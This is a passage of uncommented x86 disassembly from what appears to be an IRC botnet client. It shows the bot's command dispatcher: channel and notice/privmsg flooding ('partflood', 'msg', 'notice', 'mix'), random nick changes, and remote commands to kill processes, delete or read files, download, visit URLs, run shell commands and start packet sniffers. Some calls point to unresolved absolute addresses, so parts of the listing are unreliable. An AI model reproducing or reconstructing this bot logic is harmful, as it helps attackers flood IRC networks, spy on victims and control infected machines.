		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	near ptr 2680600h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	near ptr 2680600h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		call	near ptr 2670859h
		nop
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
